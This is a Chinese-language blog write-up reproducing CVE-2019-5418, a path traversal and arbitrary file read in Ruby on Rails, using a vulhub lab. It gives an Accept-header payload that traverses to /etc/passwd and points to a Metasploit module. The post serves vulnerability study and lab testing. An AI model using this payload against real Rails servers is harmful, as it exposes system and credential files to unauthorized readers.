CVE-2019-5418:Ruby on Rails路径穿越与任意文件读取复现

2019-11-18 22:47:53 浏览数 (1)

本文作者:mai-lang-chai(Timeline Sec新成员)

本文共676字,阅读大约需要2分钟

0x00 简介


Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架,构建在 Ruby 语言之上。它被宣传为现有企业框架的一个替代,而它的目标,就是让 Web 开发方面的生活,变得更轻松。

0x01 漏洞概述


这个漏洞主要是由于Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,我们可以通过修改访问某控制器的请求包,通过“../../../../”来达到路径穿越的目的,然后再通过“{{”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。

0x02 影响版本


Rails 全版本

其中修复版本:

Rails 6.0.0.beta3,5.2.2.1,5.1.6.2,5.0.7.2,4.2.11.1

0x03 环境搭建


在线环境:

转发本文至朋友圈截图发至公众号内即可获得

自行搭建:

直接使用vulhub进行搭建

代码语言:javascript复制
git clone https://github.com/vulhub/vulhub.gitcd /vulhub/rails/CVE-2019-5418docker-compose up -d

访问http://ip:3000即可看到

0x04 漏洞利用


请求robots,Burp抓包

修改Accept参数为任意文件地址,如:

代码语言:javascript复制
../../../../../../etc/passwd{{

其他利用方法,使用msf中的攻击模块:

0 人点赞